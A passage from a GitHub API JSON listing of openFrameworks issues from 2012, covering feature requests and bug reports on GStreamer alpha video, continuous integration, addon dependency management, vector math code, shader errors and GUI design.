want."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1070","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1070/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1070/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1070/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1070","id":3647640,"number":1070,"title":"Alpha movies in GStreamer","user":{"login":"emmanuelgeoffray","id":808090,"avatar_url":"https://secure.gravatar.com/avatar/c1ec5161b69b4a990436deafb1170d64?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"c1ec5161b69b4a990436deafb1170d64","url":"https://api.github.com/users/emmanuelgeoffray","html_url":"https://github.com/emmanuelgeoffray","followers_url":"https://api.github.com/users/emmanuelgeoffray/followers","following_url":"https://api.github.com/users/emmanuelgeoffray/following","gists_url":"https://api.github.com/users/emmanuelgeoffray/gists{/gist_id}","starred_url":"https://api.github.com/users/emmanuelgeoffray/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/emmanuelgeoffray/subscriptions","organizations_url":"https://api.github.com/users/emmanuelgeoffray/orgs","repos_url":"https://api.github.com/users/emmanuelgeoffray/repos","events_url":"https://api.github.com/users/emmanuelgeoffray/events{/privacy}","received_events_url":"https://api.github.com/users/emmanuelgeoffray/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":null,"milestone":null,"comments":9,"created_at":"2012-03-14T13:02:41Z","updated_at":"2013-01-15T11:28:36Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Hello,\r\nI needed alpha channel in short length video for a recent project.\r\nIn the forum there is some old zip file for a ofxAlphaVideoPlayer that is still working, but that's OS X & windows only as it's based on QT.\r\nI'm working on linux, and I didn't find anything for GStreamer, so I modified the existing ofGstUtils and ofGstVideoPlayer.\r\nWould you mind if I do a pull request for this?\r\nI can also provide an example with a short length video using animation codec.\r\nWhat do you think?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1068","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1068/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1068/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1068/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1068","id":3631618,"number":1068,"title":"Continuous integration/testing","user":{"login":"gabrielstuff","id":285033,"avatar_url":"https://secure.gravatar.com/avatar/390ea42c23c2c383f973abdafa24bb07?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"390ea42c23c2c383f973abdafa24bb07","url":"https://api.github.com/users/gabrielstuff","html_url":"https://github.com/gabrielstuff","followers_url":"https://api.github.com/users/gabrielstuff/followers","following_url":"https://api.github.com/users/gabrielstuff/following","gists_url":"https://api.github.com/users/gabrielstuff/gists{/gist_id}","starred_url":"https://api.github.com/users/gabrielstuff/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/gabrielstuff/subscriptions","organizations_url":"https://api.github.com/users/gabrielstuff/orgs","repos_url":"https://api.github.com/users/gabrielstuff/repos","events_url":"https://api.github.com/users/gabrielstuff/events{/privacy}","received_events_url":"https://api.github.com/users/gabrielstuff/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/automation","name":"automation","color":"5d5d5d"}],"state":"open","assignee":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"milestone":null,"comments":27,"created_at":"2012-03-13T15:49:23Z","updated_at":"2013-02-15T15:07:44Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Hey !\r\n\r\nMe again. Didn't find anywhere this infos. I'm currently testing the travis-ci.org service.\r\nAs many people are working on the project and as many many issue are raised, and fixed, I thought it could be great to add some test and thus the travis service.\r\n\r\nIt would avoid the problem met here :\r\nhttps://github.com/openframeworks/openFrameworks/commit/7ca7833ea1afb6bd5a6c54031e3fa688aa0c0ba8\r\nand the discussion here :\r\nhttps://github.com/openframeworks/openFrameworks/issues/804\r\nor there :\r\nhttps://github.com/openframeworks/openFrameworks/pull/921\r\n\r\nI read that :\r\n\r\n>feel free to make a unitTests folder at the root level of OF -\r\n> that is where all unitTests will go.\r\n\r\nBut didn't find them.\r\n\r\nThe travis service will permit to get the little badge we know well : \r\n[![Build Status](https://secure.travis-ci.org/soixantecircuits/openFrameworks.png?branch=master)](http://travis-ci.org/soixantecircuits/openFrameworks)\r\n\r\nAlso, why not adding some spec test, to ensure future development of features.\r\nI'm currently reading :\r\nhttp://www.squidoo.com/cplusplus-behaviour-driven-development-tools#module124841511\r\nhttp://sourceforge.net/apps/mediawiki/turtle/index.php?title=Turtle\r\n\r\nFor those who want some other nice reading :\r\n\r\nhttp://gamesfromwithin.com/exploring-the-c-unit-testing-framework-jungle\r\n\r\nThe travis test is here, currently it is a total fake, but I just proposed the idea of a test driven development\r\nhttp://travis-ci.org/#!/soixantecircuits/openFrameworks/builds/854259 "},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1063","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1063/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1063/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1063/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1063","id":3627067,"number":1063,"title":"Automatic installer + dependencies handler","user":{"login":"gabrielstuff","id":285033,"avatar_url":"https://secure.gravatar.com/avatar/390ea42c23c2c383f973abdafa24bb07?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"390ea42c23c2c383f973abdafa24bb07","url":"https://api.github.com/users/gabrielstuff","html_url":"https://github.com/gabrielstuff","followers_url":"https://api.github.com/users/gabrielstuff/followers","following_url":"https://api.github.com/users/gabrielstuff/following","gists_url":"https://api.github.com/users/gabrielstuff/gists{/gist_id}","starred_url":"https://api.github.com/users/gabrielstuff/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/gabrielstuff/subscriptions","organizations_url":"https://api.github.com/users/gabrielstuff/orgs","repos_url":"https://api.github.com/users/gabrielstuff/repos","events_url":"https://api.github.com/users/gabrielstuff/events{/privacy}","received_events_url":"https://api.github.com/users/gabrielstuff/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project-generator","name":"project-generator","color":"444444"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/automation","name":"automation","color":"5d5d5d"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8/labels","id":88731,"number":8,"title":"0.9.0 Release","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":51,"closed_issues":4,"state":"open","created_at":"2012-02-25T01:34:28Z","updated_at":"2013-03-06T10:40:23Z","due_on":"2013-06-02T07:00:00Z"},"comments":8,"created_at":"2012-03-13T10:44:57Z","updated_at":"2013-02-11T12:13:03Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Hi !\r\n\r\nRecently, I've been in lot of languages, from C++ to ruby, passing by the colosus of javascript and the sea of php. Dropping by various and strange framework such as the Cinder, the jQuery, the Rails, the Processing, etc ...\r\n\r\n## the situation \r\n\r\nWhat I have noticed is that a strong architecture and a really ease use of add-ons makes a framework get stronger. For instance, if we take a look at Ruby, we see that the use of gems give him a powerfull advance over his friend php. \r\n\r\n### the Rubyist\r\n\r\nThis way of thinking is getting even better with the http://gembundler.com/ [Bundler](http://gembundler.com/) friend. The gems have dependencies and a simple GemFile help to easily install all dependencies for one project.\r\n\r\n### the Cinderist\r\n\r\nFor Cinder, we get the block, as for OSX, it quiet easy and fast. Drag and drop and play/code.\r\n\r\n### the jQueryist\r\n\r\nWell, it is not frequent to have jQuery plugins depending on other jQuery plugins, but there are several way to handle dependencies on jQuery and JS.\r\n\r\n### the nodist\r\n\r\nThis lead us to http://npmjs.org/, which is really nice with dependencies.\r\nFor instance, if you tried cloud9ide, you know that you just have to make sure you get the proper package.json :\r\n\r\n```\r\n{\r\n \"name\": \"node-example\",\r\n \"version\": \"0.0.1\",\r\n \"dependencies\": {\r\n \"express\": \"2.2.0\"\r\n }\r\n}\r\n```\r\n\r\nThis file ensure that everything before running the server will be installed via npm.\r\n\r\n### the ofist\r\n\r\nRight now, we just have the addons.make file, which is nice but does not do any lifting for us. We have to verify that the ofx addons has been downloaded and is installed in the right folder.\r\n\r\n- Why not creating a script that will allow to manage dependencies compilation ? \r\nI have this wonderful ofxJSONsettings, but he depends on [JSONCPP](http://jsoncpp.sourceforge.net/) and on boost, so here we will have :\r\n\r\npackage.json file in the ofxJSONsettings folder :\r\n\r\n```\r\n{\r\n \"name\": \"ofxJSONsettings\",\r\n \"version\": \"0.0.1\",\r\n \"dependencies\": [{\r\n \"jsoncpp\": \"0.6.0-rc2\"\r\n \"url\":\"http://jsoncpp.svn.sourceforge.net/svnroot/jsoncpp/trunk/\"\r\n \"protocol\":\"svn\"\r\n }\r\n ]\r\n}\r\n```\r\n\r\nHum, then, we have our little bash script :\r\n\r\n`xadd -addon ofxJSONsettings`\r\n\r\nand for a project, we have to ensure that the make file run `xadd -addon ofxJSONsettings` if it does not find ofXJSONsettings.\r\n\r\nThis could lead to simplify and easify the use of plugin ! Hey, I want the new [mistubaRenderer](https://github.com/satoruhiga/ofxMitsubaRenderer) let's give a try :\r\n\r\n```\r\n{\r\n \"name\": \"ofxMitsubaRenderer\",\r\n \"version\": \"0.0.1\",\r\n \"dependencies\": [{\r\n \"mitsuba\": \"0.1\"\r\n \"url\":\"https://www.mitsuba-renderer.org/hg/mitsuba-bidir\"\r\n \"protocol\":\"hg\"\r\n }\r\n ]\r\n}\r\n```\r\n\r\nWell, this would be simplify if everybody use some same pattern, and respect some convention.\r\n\r\nSo what do you guys think about that ?\r\n\r\n\r\nThank you !\r\n\r\n\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1062","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1062/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1062/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1062/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1062","id":3614231,"number":1062,"title":"regularize code for math addons","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8/labels","id":88731,"number":8,"title":"0.9.0 Release","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":51,"closed_issues":4,"state":"open","created_at":"2012-02-25T01:34:28Z","updated_at":"2013-03-06T10:40:23Z","due_on":"2013-06-02T07:00:00Z"},"comments":5,"created_at":"2012-03-12T16:33:06Z","updated_at":"2013-02-11T12:13:03Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"right now there is a lot of duplicated code in the vector math classes. for example, normalize() and getNormalized() have separate implementations. if we follow the pattern of always implementing things in self-modifying methods, then providing copy-returning methods as alternatives, this will reduce the amount of code and make it harder to cause bugs or behavioral discrepancies.\r\n\r\n- implementations of an algorithm should always be self-modifying\r\n- copy-returning versions should be implemented using a differently named method, internally making a copy and calling the self-modifying version on the copy.\r\n\r\ne.g. something like (note, this isn't how it's implemented right now):\r\n\r\n\tinline ofVec2f& ofVec2f::normalize() {\r\n\t\tfloat length = (float)sqrt(x*x + y*y);\r\n\t\tif( length > 0 ) {\r\n\t\t\tx /= length;\r\n\t\t\ty /= length;\r\n\t\t}\r\n\t\treturn *this;\r\n\t}\r\n\r\n\tinline ofVec2f ofVec2f::getNormalized() const {\r\n\t\tofVec2f result = *this;\r\n\t\treturn result.normalize();\r\n\t}\r\n\r\ntaken from this post https://github.com/openframeworks/openFrameworks/pull/1061#issuecomment-4455601"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1052","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1052/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1052/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1052/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1052","id":3596240,"number":1052,"title":"ofShader should show an error when using an invalid name","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"state":"open","assignee":null,"milestone":null,"comments":1,"created_at":"2012-03-10T17:52:58Z","updated_at":"2012-08-23T06:42:30Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"if you have:\r\n\r\n uniform float dog;\r\n float cat;\r\n\r\nand:\r\n\r\n shader.setUniform1f(\"dog\", ofGetElapsedTimef());\r\n shader.setUniform1f(\"cat\", ofGetElapsedTimef());\r\n\r\nthere is no currently no error printed to the console, and \"cat\" is mysteriously unchanging while \"dog\" is fine."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1047","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1047/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1047/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1047/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1047","id":3587808,"number":1047,"title":"opening video files with system dialog in osx prevents them to play correctly","user":{"login":"hvfrancesco","id":614123,"avatar_url":"https://secure.gravatar.com/avatar/e02a8a3953de9d5d9ec1c7aa8d43eca4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e02a8a3953de9d5d9ec1c7aa8d43eca4","url":"https://api.github.com/users/hvfrancesco","html_url":"https://github.com/hvfrancesco","followers_url":"https://api.github.com/users/hvfrancesco/followers","following_url":"https://api.github.com/users/hvfrancesco/following","gists_url":"https://api.github.com/users/hvfrancesco/gists{/gist_id}","starred_url":"https://api.github.com/users/hvfrancesco/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hvfrancesco/subscriptions","organizations_url":"https://api.github.com/users/hvfrancesco/orgs","repos_url":"https://api.github.com/users/hvfrancesco/repos","events_url":"https://api.github.com/users/hvfrancesco/events{/privacy}","received_events_url":"https://api.github.com/users/hvfrancesco/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-video","name":"section-video","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":8,"created_at":"2012-03-09T18:54:28Z","updated_at":"2012-03-12T15:31:12Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"whenever I try to open a file using system dialog from OF utils or ofxFileDIalogOSX, the video is loaded correctly but it get stuck and doesn't play at all. see:\r\nhttp://forum.openframeworks.cc/index.php/topic,5233.0.html\r\nhttp://forum.openframeworks.cc/index.php/topic,6515.0.html\r\n\r\nquite a big issue IMHO"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1039","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1039/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1039/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1039/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1039","id":3528378,"number":1039,"title":"make icons for OF apps","user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":null,"milestone":null,"comments":12,"created_at":"2012-03-06T17:56:58Z","updated_at":"2012-03-20T16:11:54Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"just a small one but would be great. \r\nmaybe even different icon for debug and release? "},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1037","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1037/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1037/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1037/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1037","id":3510933,"number":1037,"title":"ofxGui, ofxButton should look visually different to toggle","user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":null,"milestone":null,"comments":1,"created_at":"2012-03-05T18:06:03Z","updated_at":"2012-03-06T15:32:44Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"right now it is not clear from a visual perspective what is a button / trigger and what is a toggle. "},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1036","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1036/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1036/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1036/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1036","id":3509628,"number":1036,"title":"ofxGui -> ofGui - how/should we bring into core?","user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"state":"open","assignee":null,"milestone":null,"comments":11,"created_at":"2012-03-05T16:56:26Z","updated_at":"2012-07-27T05:34:51Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"xml is one of the reasons this is currently an addon. \r\nthe original idea was to have something simple and minimal that could be in the core. \r\nalso something which could be built off of for larger gui addons ( hence ofParameter ) \r\n\r\nI see a couple of options going forward.\r\n\r\n1) swtich from xml to newline separated text files and move ofGui into core\r\nthis would be quite simple as ofParameter already has a name, value structure \r\n\r\n2) same as 1) but keep ofxGui as an addon - making it a bit simpler to add to a project \r\n2b) add ofParameter to core as it is more general purpose\r\n\r\n3) bring ofxXmlSettings into the core and bring ofGui into core.\r\n\r\n\r\nanyway I thought it would be good to get some discussion going about this.\r\nI'm especially interested in setting up ofParam and ofBaseGui in a way to make things modular and extendable. \r\n\r\nalso could be interesting to look at a way to represent a collection/group of ofParameters\r\nsome of this might be similar to some of the stuff @memo was doing with his plist style system. \r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1034","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1034/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1034/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1034/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1034","id":3495602,"number":1034,"title":"projectGenerator ignores shader .vert and .frag files","user":{"login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/3ac59f1faa71f3b69fb9ceb83e50062c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3ac59f1faa71f3b69fb9ceb83e50062c","url":"https://api.github.com/users/damiannz","html_url":"https://github.com/damiannz","followers_url":"https://api.github.com/users/damiannz/followers","following_url":"https://api.github.com/users/damiannz/following","gists_url":"https://api.github.com/users/damiannz/gists{/gist_id}","starred_url":"https://api.github.com/users/damiannz/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/damiannz/subscriptions","organizations_url":"https://api.github.com/users/damiannz/orgs","repos_url":"https://api.github.com/users/damiannz/repos","events_url":"https://api.github.com/users/damiannz/events{/privacy}","received_events_url":"https://api.github.com/users/damiannz/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project-generator","name":"project-generator","color":"444444"}],"state":"open","assignee":null,"milestone":null,"comments":3,"created_at":"2012-03-04T11:19:04Z","updated_at":"2012-03-12T12:39:10Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"If it finds .vert, .frag (and .geom?) files in the data/ folder, the project generator should make a new folder, in the project file, next to (or inside) src called data/ and add the files to it. (data/ so that beginners can find the files in Finder)"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1033","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1033/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1033/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1033/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1033","id":3495503,"number":1033,"title":"ofSetLogLevel(module, level) adds to map but dosen't 